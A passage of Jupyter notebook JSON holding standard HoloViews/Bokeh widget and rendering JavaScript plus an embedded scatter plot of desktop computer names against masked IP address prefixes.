'_'\\n      }\\n    }\\n  }\\n  require.config(jquery_require);\\n  require([\\\"jQueryUI\\\", \\\"underscore\\\"], function(jUI, _){\\n    if (noConflict) $.noConflict(true);\\n    var vals = values;\\n    if (dynamic && vals.constructor === Array) {\\n      var default_value = parseFloat(value);\\n      var min = parseFloat(vals[0]);\\n      var max = parseFloat(vals[vals.length-1]);\\n      var wstep = step;\\n      var wlabels = [default_value];\\n      var init_label = default_value;\\n    } else {\\n      var min = 0;\\n      if (dynamic) {\\n        var max = Object.keys(vals).length - 1;\\n        var init_label = labels[value];\\n        var default_value = values[value];\\n      } else {\\n        var max = vals.length - 1;\\n        var init_label = labels[value];\\n        var default_value = value;\\n      }\\n      var wstep = 1;\\n      var wlabels = labels;\\n    }\\n    function adjustFontSize(text) {\\n      var width_ratio = (text.parent().width()/8)/text.val().length;\\n      var size = Math.min(0.9, Math.max(0.6, width_ratio))+'em';\\n      text.css('font-size', size);\\n    }\\n    var slider = $('#_anim_widget'+id+'_'+dim);\\n    slider.slider({\\n      animate: \\\"fast\\\",\\n      min: min,\\n      max: max,\\n      step: wstep,\\n      value: default_value,\\n      dim_vals: vals,\\n      dim_labels: wlabels,\\n      next_vals: next_vals,\\n      slide: function(event, ui) {\\n        var vals = slider.slider(\\\"option\\\", \\\"dim_vals\\\");\\n        var next_vals = slider.slider(\\\"option\\\", \\\"next_vals\\\");\\n        var dlabels = slider.slider(\\\"option\\\", \\\"dim_labels\\\");\\n        if (dynamic) {\\n          var dim_val = ui.value;\\n          if (vals.constructor === Array) {\\n            var label = ui.value;\\n          } else {\\n            var label = dlabels[ui.value];\\n          }\\n        } else {\\n          var dim_val = vals[ui.value];\\n          var label = dlabels[ui.value];\\n        }\\n        var text = $('#textInput'+id+'_'+dim);\\n        text.val(label);\\n        adjustFontSize(text);\\n        HoloViews.index[plot_id].set_frame(dim_val, dim_idx);\\n        if (Object.keys(next_vals).length > 0) {\\n          var new_vals = next_vals[dim_val];\\n          var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n          update_widget(next_widget, new_vals);\\n        }\\n      }\\n    });\\n    slider.keypress(function(event) {\\n      if (event.which == 80 || event.which == 112) {\\n        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n        var stop =  slider.slider(\\\"option\\\", \\\"max\\\");\\n        for (var i=start; i<=stop; i++) {\\n          var delay = i*delay;\\n          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n            var val = {value:i};\\n            slider.slider('value',i);\\n            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n          }, slider), delay);}, slider)(i);\\n        }\\n      }\\n      if (event.which == 82 || event.which == 114) {\\n        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n        var stop =  slider.slider(\\\"option\\\", \\\"min\\\");\\n        var count = 0;\\n        for (var i=start; i>=stop; i--) {\\n          var delay = count*delay;\\n          count = count + 1;\\n          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n            var val = {value:i};\\n            slider.slider('value',i);\\n            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n          }, slider), delay);}, slider)(i);\\n        }\\n      }\\n    });\\n    var textInput = $('#textInput'+id+'_'+dim)\\n    textInput.val(init_label);\\n    adjustFontSize(textInput);\\n  });\\n}\\n\\nfunction init_dropdown(id, plot_id, dim, vals, value, next_vals, labels, next_dim, dim_idx, dynamic) {\\n  var widget = $(\\\"#_anim_widget\\\"+id+'_'+dim);\\n  widget.data('values', vals)\\n  for (var i=0; i<vals.length; i++){\\n    if (dynamic) {\\n      var val = vals[i];\\n    } else {\\n      var val = i;\\n    }\\n    widget.append($(\\\"<option>\\\", {\\n      value: val,\\n      text: labels[i]\\n    }));\\n  };\\n  widget.data(\\\"next_vals\\\", next_vals);\\n  widget.val(value);\\n  widget.on('change', function(event, ui) {\\n    if (dynamic) {\\n      var dim_val = parseInt(this.value);\\n    } else {\\n      var dim_val = $.data(this, 'values')[this.value];\\n    }\\n    var next_vals = $.data(this, \\\"next_vals\\\");\\n    if (Object.keys(next_vals).length > 0) {\\n      var new_vals = next_vals[dim_val];\\n      var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n      update_widget(next_widget, new_vals);\\n    }\\n    var widgets = HoloViews.index[plot_id]\\n    if (widgets) {\\n      widgets.set_frame(dim_val, dim_idx);\\n    }\\n  });\\n}\\n\\n\\nif (window.HoloViews === undefined) {\\n  window.HoloViews = {}\\n  window.PyViz = window.HoloViews\\n} else if (window.PyViz === undefined) {\\n  window.PyViz = window.HoloViews\\n}\\n\\n\\nvar _namespace = {\\n  init_slider: init_slider,\\n  init_dropdown: init_dropdown,\\n  comms: {},\\n  comm_status: {},\\n  index: {},\\n  plot_index: {},\\n  kernels: {},\\n  receivers: {}\\n}\\n\\nfor (var k in _namespace) {\\n  if (!(k in window.HoloViews)) {\\n    window.HoloViews[k] = _namespace[k];\\n  }\\n}\\n\\n// Define Bokeh specific subclasses\\nfunction BokehSelectionWidget() {\\n  SelectionWidget.apply(this, arguments);\\n}\\n\\nfunction BokehScrubberWidget() {\\n  ScrubberWidget.apply(this, arguments);\\n}\\n\\n// Let them inherit from the baseclasses\\nBokehSelectionWidget.prototype = Object.create(SelectionWidget.prototype);\\nBokehScrubberWidget.prototype = Object.create(ScrubberWidget.prototype);\\n\\n// Define methods to override on widgets\\nvar BokehMethods = {\\n  update_cache : function(){\\n    for (var index in this.frames) {\\n      this.frames[index] = JSON.parse(this.frames[index]);\\n    }\\n  },\\n  update : function(current){\\n    if (current === undefined) {\\n      return;\\n    }\\n    var data = this.frames[current];\\n    if (data !== undefined) {\\n      if (data.root in HoloViews.plot_index) {\\n        var doc = HoloViews.plot_index[data.root].model.document;\\n      } else {\\n        var doc = Bokeh.index[data.root].model.document;\\n      }\\n      doc.apply_json_patch(data.content);\\n    }\\n  },\\n  init_comms: function() {\\n    if (Bokeh.protocol !== undefined) {\\n      this.receiver = new Bokeh.protocol.Receiver()\\n    } else {\\n      this.receiver = null;\\n    }\\n    return HoloViewsWidget.prototype.init_comms.call(this);\\n  },\\n  process_msg : function(msg) {\\n    if (this.plot_id in HoloViews.plot_index) {\\n      var doc = HoloViews.plot_index[this.plot_id].model.document;\\n    } else {\\n      var doc = Bokeh.index[this.plot_id].model.document;\\n    }\\n    if (this.receiver === null) { return }\\n    var receiver = this.receiver;\\n    if (msg.buffers.length > 0) {\\n      receiver.consume(msg.buffers[0].buffer)\\n    } else {\\n      receiver.consume(msg.content.data)\\n    }\\n    const comm_msg = receiver.message;\\n    if ((comm_msg != null) && (doc != null)) {\\n      doc.apply_json_patch(comm_msg.content, comm_msg.buffers)\\n    }\\n  }\\n}\\n\\n// Extend Bokeh widgets with backend specific methods\\nextend(BokehSelectionWidget.prototype, BokehMethods);\\nextend(BokehScrubberWidget.prototype, BokehMethods);\\n\\nwindow.HoloViews.BokehSelectionWidget = BokehSelectionWidget\\nwindow.HoloViews.BokehScrubberWidget = BokehScrubberWidget\\n\\n    function JupyterCommManager() {\\n    }\\n\\n    JupyterCommManager.prototype.register_target = function(plot_id, comm_id, msg_handler) {\\n      if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n        comm_manager.register_target(comm_id, function(comm) {\\n          comm.on_msg(msg_handler);\\n        });\\n      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n        window.PyViz.kernels[plot_id].registerCommTarget(comm_id, function(comm) {\\n          comm.onMsg = msg_handler;\\n        });\\n      }\\n    }\\n\\n    JupyterCommManager.prototype.get_client_comm = function(plot_id, comm_id, msg_handler) {\\n      if (comm_id in window.PyViz.comms) {\\n        return window.PyViz.comms[comm_id];\\n      } else if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n        var comm = comm_manager.new_comm(comm_id, {}, {}, {}, comm_id);\\n        if (msg_handler) {\\n          comm.on_msg(msg_handler);\\n        }\\n      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n        var comm = window.PyViz.kernels[plot_id].connectToComm(comm_id);\\n        comm.open();\\n        if (msg_handler) {\\n          comm.onMsg = msg_handler;\\n        }\\n      }\\n\\n      window.PyViz.comms[comm_id] = comm;\\n      return comm;\\n    }\\n\\n    window.PyViz.comm_manager = new JupyterCommManager();\\n    \\n\\nvar JS_MIME_TYPE = 'application/javascript';\\nvar HTML_MIME_TYPE = 'text/html';\\nvar EXEC_MIME_TYPE = 'application/vnd.holoviews_exec.v0+json';\\nvar CLASS_NAME = 'output';\\n\\n/**\\n * Render data to the DOM node\\n */\\nfunction render(props, node) {\\n  var div = document.createElement(\\\"div\\\");\\n  var script = document.createElement(\\\"script\\\");\\n  node.appendChild(div);\\n  node.appendChild(script);\\n}\\n\\n/**\\n * Handle when a new output is added\\n */\\nfunction handle_add_output(event, handle) {\\n  var output_area = handle.output_area;\\n  var output = handle.output;\\n  if (!output.data.hasOwnProperty(EXEC_MIME_TYPE)) {\\n    return\\n  }\\n  var id = output.metadata[EXEC_MIME_TYPE][\\\"id\\\"];\\n  var toinsert = output_area.element.find(\\\".\\\" + CLASS_NAME.split(' ')[0]);\\n  if (id !== undefined) {\\n    var nchildren = toinsert.length;\\n    toinsert[nchildren-1].children[0].innerHTML = output.data[HTML_MIME_TYPE];\\n    toinsert[nchildren-1].children[1].textContent = output.data[JS_MIME_TYPE];\\n    output_area._hv_plot_id = id;\\n    if ((window.Bokeh !== undefined) && (id in Bokeh.index)) {\\n      PyViz.plot_index[id] = Bokeh.index[id];\\n    } else {\\n      PyViz.plot_index[id] = null;\\n    }\\n  }\\n}\\n\\n/**\\n * Handle when an output is cleared or removed\\n */\\nfunction handle_clear_output(event, handle) {\\n  var id = handle.cell.output_area._hv_plot_id;\\n  if ((id === undefined) || !(id in PyViz.plot_index)) { return; }\\n  var comm = window.PyViz.comm_manager.get_client_comm(\\\"hv-extension-comm\\\", \\\"hv-extension-comm\\\", function () {});\\n  if (comm !== null) {\\n    comm.send({event_type: 'delete', 'id': id});\\n  }\\n  delete PyViz.plot_index[id];\\n  if ((window.Bokeh !== undefined) & (id in window.Bokeh.index)) {\\n    window.Bokeh.index[id].model.document.clear();\\n    delete Bokeh.index[id];\\n  }\\n}\\n\\n/**\\n * Handle kernel restart event\\n */\\nfunction handle_kernel_cleanup(event, handle) {\\n  delete PyViz.comms[\\\"hv-extension-comm\\\"];\\n  window.PyViz.plot_index = {}\\n}\\n\\n/**\\n * Handle update_display_data messages\\n */\\nfunction handle_update_output(event, handle) {\\n  handle_clear_output(event, {cell: {output_area: handle.output_area}})\\n  handle_add_output(event, handle)\\n}\\n\\nfunction register_renderer(events, OutputArea) {\\n  function append_mime(data, metadata, element) {\\n    // create a DOM node to render to\\n    var toinsert = this.create_output_subarea(\\n    metadata,\\n    CLASS_NAME,\\n    EXEC_MIME_TYPE\\n    );\\n    this.keyboard_manager.register_events(toinsert);\\n    // Render to node\\n    var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\\n    render(props, toinsert[0]);\\n    element.append(toinsert);\\n    return toinsert\\n  }\\n\\n  events.on('output_added.OutputArea', handle_add_output);\\n  events.on('output_updated.OutputArea', handle_update_output);\\n  events.on('clear_output.CodeCell', handle_clear_output);\\n  events.on('delete.Cell', handle_clear_output);\\n  events.on('kernel_ready.Kernel', handle_kernel_cleanup);\\n\\n  OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\\n    safe: true,\\n    index: 0\\n  });\\n}\\n\\nif (window.Jupyter !== undefined) {\\n  try {\\n    var events = require('base/js/events');\\n    var OutputArea = require('notebook/js/outputarea').OutputArea;\\n    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\\n      register_renderer(events, OutputArea);\\n    }\\n  } catch(err) {\\n  }\\n}\\n\"\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    },\n    {\n     \"data\": {\n      \"application/javascript\": [\n       \"\\n\",\n       \"// Ugly hack - see HoloViews #2574 for more information\\n\",\n       \"if (!(document.getElementById('1237')) && !(document.getElementById('_anim_imgNone'))) {\\n\",\n       \"  console.log(\\\"Creating DOM nodes dynamically for assumed nbconvert export. To generate clean HTML output set HV_DOC_HTML as an environment variable.\\\")\\n\",\n       \"  var htmlObject = document.createElement('div');\\n\",\n       \"  htmlObject.innerHTML = `<div id='1237' style='display: table; margin: 0 auto;'>\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  <div class=\\\"bk-root\\\" id=\\\"8f4e7242-c01c-4193-a43e-5f188016c37f\\\"></div>\\n\",\n       \"</div>`;\\n\",\n       \"  var scriptTags = document.getElementsByTagName('script');\\n\",\n       \"  var parentTag = scriptTags[scriptTags.length-1].parentNode;\\n\",\n       \"  parentTag.append(htmlObject)\\n\",\n       \"}\\n\",\n       \"(function(root) {\\n\",\n       \"  function embed_document(root) {\\n\",\n       \"    \\n\",\n       \"  var docs_json = {\\\"b784ffac-7022-4285-b574-6e76888f750a\\\":{\\\"roots\\\":{\\\"references\\\":[{\\\"attributes\\\":{\\\"below\\\":[{\\\"id\\\":\\\"1245\\\",\\\"type\\\":\\\"CategoricalAxis\\\"}],\\\"left\\\":[{\\\"id\\\":\\\"1249\\\",\\\"type\\\":\\\"CategoricalAxis\\\"}],\\\"min_border_bottom\\\":10,\\\"min_border_left\\\":10,\\\"min_border_right\\\":10,\\\"min_border_top\\\":10,\\\"plot_height\\\":800,\\\"plot_width\\\":800,\\\"renderers\\\":[{\\\"id\\\":\\\"1245\\\",\\\"type\\\":\\\"CategoricalAxis\\\"},{\\\"id\\\":\\\"1248\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"id\\\":\\\"1249\\\",\\\"type\\\":\\\"CategoricalAxis\\\"},{\\\"id\\\":\\\"1252\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"id\\\":\\\"1261\\\",\\\"type\\\":\\\"BoxAnnotation\\\"},{\\\"id\\\":\\\"1271\\\",\\\"type\\\":\\\"GlyphRenderer\\\"}],\\\"title\\\":{\\\"id\\\":\\\"1236\\\",\\\"type\\\":\\\"Title\\\"},\\\"toolbar\\\":{\\\"id\\\":\\\"1258\\\",\\\"type\\\":\\\"Toolbar\\\"},\\\"x_range\\\":{\\\"id\\\":\\\"1234\\\",\\\"type\\\":\\\"FactorRange\\\"},\\\"x_scale\\\":{\\\"id\\\":\\\"1241\\\",\\\"type\\\":\\\"CategoricalScale\\\"},\\\"y_range\\\":{\\\"id\\\":\\\"1235\\\",\\\"type\\\":\\\"FactorRange\\\"},\\\"y_scale\\\":{\\\"id\\\":\\\"1243\\\",\\\"type\\\":\\\"CategoricalScale\\\"}},\\\"id\\\":\\\"1237\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},{\\\"attributes\\\":{\\\"source\\\":{\\\"id\\\":\\\"1266\\\",\\\"type\\\":\\\"ColumnDataSource\\\"}},\\\"id\\\":\\\"1272\\\",\\\"type\\\":\\\"CDSView\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1246\\\",\\\"type\\\":\\\"CategoricalTicker\\\"},{\\\"attributes\\\":{\\\"data_source\\\":{\\\"id\\\":\\\"1266\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},\\\"glyph\\\":{\\\"id\\\":\\\"1268\\\",\\\"type\\\":\\\"Scatter\\\"},\\\"hover_glyph\\\":null,\\\"muted_glyph\\\":{\\\"id\\\":\\\"1270\\\",\\\"type\\\":\\\"Scatter\\\"},\\\"nonselection_glyph\\\":{\\\"id\\\":\\\"1269\\\",\\\"type\\\":\\\"Scatter\\\"},\\\"selection_glyph\\\":null,\\\"view\\\":{\\\"id\\\":\\\"1272\\\",\\\"type\\\":\\\"CDSView\\\"}},\\\"id\\\":\\\"1271\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"factors\\\":[\\\"desktop-86k4hcq\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-4mah00a\\\",\\\"desktop-0qf81kv\\\"]},\\\"id\\\":\\\"1234\\\",\\\"type\\\":\\\"FactorRange\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1276\\\",\\\"type\\\":\\\"CategoricalTickFormatter\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1254\\\",\\\"type\\\":\\\"PanTool\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"factors\\\":[\\\"93.184.*.*\\\",\\\"13.107.*.*\\\",\\\"2.18.*.*\\\",\\\"8.250.*.*\\\",\\\"8.249.*.*\\\",\\\"205.185.*.*\\\",\\\"88.221.*.*\\\",\\\"104.18.*.*\\\",\\\"23.9.*.*\\\",\\\"104.81.*.*\\\",\\\"40.112.*.*\\\",\\\"172.226.*.*\\\",\\\"23.54.*.*\\\",\\\"8.252.*.*\\\",\\\"67.26.*.*\\\",\\\"204.79.*.*\\\",\\\"23.206.*.*\\\",\\\"118.215.*.*\\\",\\\"23.62.*.*\\\",\\\"98.137.*.*\\\",\\\"91.199.*.*\\\",\\\"23.35.*.*\\\",\\\"40.77.*.*\\\",\\\"151.101.*.*\\\",\\\"23.50.*.*\\\",\\\"184.25.*.*\\\",\\\"23.215.*.*\\\",\\\"8.253.*.*\\\",\\\"72.21.*.*\\\",\\\"23.195.*.*\\\",\\\"67.27.*.*\\\",\\\"95.100.*.*\\\",\\\"72.246.*.*\\\",\\\"81.218.*.*\\\"]},\\\"id\\\":\\\"1235\\\",\\\"type\\\":\\\"FactorRange\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1282\\\",\\\"type\\\":\\\"UnionRenderers\\\"},{\\\"attributes\\\":{\\\"plot\\\":null,\\\"text\\\":\\\"\\\",\\\"text_color\\\":{\\\"value\\\":\\\"black\\\"},\\\"text_font_size\\\":{\\\"value\\\":\\\"12pt\\\"}},\\\"id\\\":\\\"1236\\\",\\\"type\\\":\\\"Title\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"data\\\":{\\\"ComputerName\\\":[\\\"desktop-86k4hcq\\\",\\\"desktop-86k4hcq\\\",\\\"desktop-86k4hcq\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-4mah00a\\\",\\\"desktop-4mah00a\\\",\\\"desktop-4mah00a\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\",\\\"desktop-0qf81kv\\\"],\\\"MaskedIP\\\":[\\\"93.184.*.*\\\",\\\"13.107.*.*\\\",\\\"2.18.*.*\\\",\\\"8.250.*.*\\\",\\\"8.249.*.*\\\",\\\"13.107.*.*\\\",\\\"205.185.*.*\\\",\\\"93.184.*.*\\\",\\\"88.221.*.*\\\",\\\"104.18.*.*\\\",\\\"23.9.*.*\\\",\\\"104.81.*.*\\\",\\\"40.112.*.*\\\",\\\"172.226.*.*\\\",\\\"23.54.*.*\\\",\\\"8.252.*.*\\\",\\\"8.250.*.*\\\",\\\"67.26.*.*\\\",\\\"204.79.*.*\\\",\\\"23.206.*.*\\\",\\\"118.215.*.*\\\",\\\"205.185.*.*\\\",\\\"23.62.*.*\\\",\\\"98.137.*.*\\\",\\\"91.199.*.*\\\",\\\"23.35.*.*\\\",\\\"40.77.*.*\\\",\\\"151.101.*.*\\\",\\\"23.50.*.*\\\",\\\"184.25.*.*\\\",\\\"23.215.*.*\\\",\\\"8.253.*.*\\\",\\\"72.21.*.*\\\",\\\"13.107.*.*\\\",\\\"88.221.*.*\\\",\\\"205.185.*.*\\\",\\\"93.184.*.*\\\",\\\"23.50.*.*\\\",\\\"104.18.*.*\\\",\\\"8.250.*.*\\\",\\\"23.195.*.*\\\",\\\"205.185.*.*\\\",\\\"67.27.*.*\\\",\\\"95.100.*.*\\\",\\\"8.249.*.*\\\",\\\"93.184.*.*\\\",\\\"13.107.*.*\\\",\\\"72.246.*.*\\\",\\\"81.218.*.*\\\"]},\\\"selected\\\":{\\\"id\\\":\\\"1283\\\",\\\"type\\\":\\\"Selection\\\"},\\\"selection_policy\\\":{\\\"id\\\":\\\"1282\\\",\\\"type\\\":\\\"UnionRenderers\\\"}},\\\"id\\\":\\\"1266\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},{\\\"attributes\\\":{\\\"fill_alpha\\\":{\\\"value\\\":0.2},\\\"fill_color\\\":{\\\"value\\\":\\\"#30a2da\\\"},\\\"line_alpha\\\":{\\\"value\\\":0.2},\\\"line_color\\\":{\\\"value\\\":\\\"#30a2da\\\"},\\\"size\\\":{\\\"units\\\":\\\"screen\\\",\\\"value\\\":10},\\\"x\\\":{\\\"field\\\":\\\"ComputerName\\\"},\\\"y\\\":{\\\"field\\\":\\\"MaskedIP\\\"}},\\\"id\\\":\\\"1270\\\",\\\"type\\\":\\\"Scatter\\\"},{\\\"attributes\\\":{\\\"bottom_units\\\":\\\"screen\\\",\\\"fill_alpha\\\":{\\\"value\\\":0.5},\\\"fill_color\\\":{\\\"value\\\":\\\"lightgrey\\\"},\\\"left_units\\\":\\\"screen\\\",\\\"level\\\":\\\"overlay\\\",\\\"line_alpha\\\":{\\\"value\\\":1.0},\\\"line_color\\\":{\\\"value\\\":\\\"black\\\"},\\\"line_dash\\\":[4,4],\\\"line_width\\\":{\\\"value\\\":2},\\\"plot\\\":null,\\\"render_mode\\\":\\\"css\\\",\\\"right_units\\\":\\\"screen\\\",\\\"top_units\\\":\\\"screen\\\"},\\\"id\\\":\\\"1261\\\",\\\"type\\\":\\\"BoxAnnotation\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1283\\\",\\\"type\\\":\\\"Selection\\\"},{\\\"attributes\\\":{\\\"fill_alpha\\\":{\\\"value\\\":0.1},\\\"fill_color\\\":{\\\"value\\\":\\\"#30a2da\\\"},\\\"line_alpha\\\":{\\\"value\\\":0.1},\\\"line_color\\\":{\\\"value\\\":\\\"#30a2da\\\"},\\\"size\\\":{\\\"units\\\":\\\"screen\\\",\\\"value\\\":10},\\\"x\\\":{\\\"field\\\":\\\"ComputerName\\\"},\\\"y\\\":{\\\"field\\\":\\\"MaskedIP\\\"}},\\\"id\\\":\\\"1269\\\",\\\"type\\\":\\\"Scatter\\\"},{\\\"attributes\\\":{\\\"plot\\\":{\\\"id\\\":\\\"1237\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1246\\\",\\\"type\\\":\\\"CategoricalTicker\\\"}},\\\"id\\\":\\\"1248\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"attributes\\\":{\\\"active_drag\\\":\\\"auto\\\",\\\"active_inspect\\\":\\\"auto\\\",\\\"active_multi\\\":null,\\\"active_scroll\\\":\\\"auto\\\",\\\"active_tap\\\":\\\"auto\\\",\\\"tools\\\":[{\\\"id\\\":\\\"1253\\\",\\\"type\\\":\\\"SaveTool\\\"},{\\\"id\\\":\\\"1254\\\",\\\"type\\\":\\\"PanTool\\\"},{\\\"id\\\":\\\"1255\\\",\\\"type\\\":\\\"WheelZoomTool\\\"},{\\\"id\\\":\\\"1256\\\",\\\"type\\\":\\\"BoxZoomTool\\\"},{\\\"id\\\":\\\"1257\\\",\\\"type\\\":\\\"ResetTool\\\"}]},\\\"id\\\":\\\"1258\\\",\\\"type\\\":\\\"Toolbar\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1253\\\",\\\"type\\\":\\\"SaveTool\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1274\\\",\\\"type\\\":\\\"CategoricalTickFormatter\\\"},{\\\"attributes\\\":{\\\"dimension\\\":1,\\\"plot\\\":{\\\"id\\\":\\\"1237\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1250\\\",\\\"type\\\":\\\"CategoricalTicker\\\"}},\\\"id\\\":\\\"1252\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"attributes\\\":{\\\"overlay\\\":{\\\"id\\\":\\\"1261\\\",\\\"type\\\":\\\"BoxAnnotation\\\"}},\\\"id\\\":\\\"1256\\\",\\\"type\\\":\\\"BoxZoomTool\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1257\\\",\\\"type\\\":\\\"ResetTool\\\"},{\\\"attributes\\\":{\\\"fill_color\\\":{\\\"value\\\":\\\"#30a2da\\\"},\\\"line_color\\\":{\\\"value\\\":\\\"#30a2da\\\"},\\\"size\\\":{\\\"units\\\":\\\"screen\\\",\\\"value\\\":10},\\\"x\\\":{\\\"field\\\":\\\"ComputerName\\\"},\\\"y\\\":{\\\"field\\\":\\\"MaskedIP\\\"}},\\\"id\\\":\\\"1268\\\",\\\"type\\\":\\\"Scatter\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1255\\\",\\\"type\\\":\\\"WheelZoomTool\\\"},{\\\"attributes\\\":{\\\"axis_label\\\":\\\"MaskedIP\\\",\\\"bounds\\\":\\\"auto\\\",\\\"formatter\\\":{\\\"id\\\":\\\"1276\\\",\\\"type\\\":\\\"CategoricalTickFormatter\\\"},\\\"major_label_orientation\\\":\\\"horizontal\\\",\\\"plot\\\":{\\\"id\\\":\\\"1237\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1250\\\",\\\"type\\\":\\\"CategoricalTicker\\\"}},\\\"id\\\":\\\"1249\\\",\\\"type\\\":\\\"CategoricalAxis\\\"},{\\\"attributes\\\":{\\\"axis_label\\\":\\\"ComputerName\\\",\\\"bounds\\\":\\\"auto\\\",\\\"formatter\\\":{\\\"id\\\":\\\"1274\\\",\\\"type\\\":\\\"CategoricalTickFormatter\\\"},\\\"major_label_orientation\\\":\\\"horizontal\\\",\\\"plot\\\":{\\\"id\\\":\\\"1237\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1246\\\",\\\"type\\\":\\\"CategoricalTicker\\\"}},\\\"id\\\":\\\"1245\\\",\\\"type\\\":\\\"CategoricalAxis\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1243\\\",\\\"type\\\":\\\"CategoricalScale\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1250\\\",\\\"type\\\":\\\"CategoricalTicker\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1241\\\",\\\"type\\\":\\\"CategoricalScale\\\"}],\\\"root_ids\\\":[\\\"1237\\\"]},\\\"title\\\":\\\"Bokeh Application\\\",\\\"version\\\":\\\"1.0.1\\\"}};\\n\",\n       \"  var render_items = [{\\\"docid\\\":\\\"b784ffac-7022-4285-b574-6e76888f750a\\\",\\\"roots\\\":{\\\"1237\\\":\\\"8f4e7242-c01c-4193-a43e-5f188016c37f\\\"}}];\\n\",\n       \"  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\\n\",\n       \"\\n\",\n       \"  }\\n\",\n       \"  if (root.Bokeh !== undefined) {\\n\",\n       \"    embed_document(root);\\n\",\n       \"  } else {\\n\",\n       \"    var attempts = 0;\\n\",\n       \"    var timer = setInterval(function(root) {\\n\",\n       \"      if (root.Bokeh !== undefined) {\\n\",\n       \"        embed_document(root);\\n\",\n       \"        clearInterval(timer);\\n\",\n       \"      }\\n\",\n       \"      attempts++;\\n\",\n       \"      if (attempts > 100) {\\n\",\n       \"        console.log(\\\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\\\");\\n\",\n       \"        clearInterval(timer);\\n\",\n       \"      }\\n\",\n       \"    }, 10, root)\\n\",\n       \"  }\\n\",\n       \"})(window);\"\n      ],\n      \"application/vnd.holoviews_exec.v0+json\": \"\",\n      \"text/html\": [\n       \"<div id='1237' style='display: table; margin: 0 auto;'>\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"  <div class=\\\"bk-root\\\" 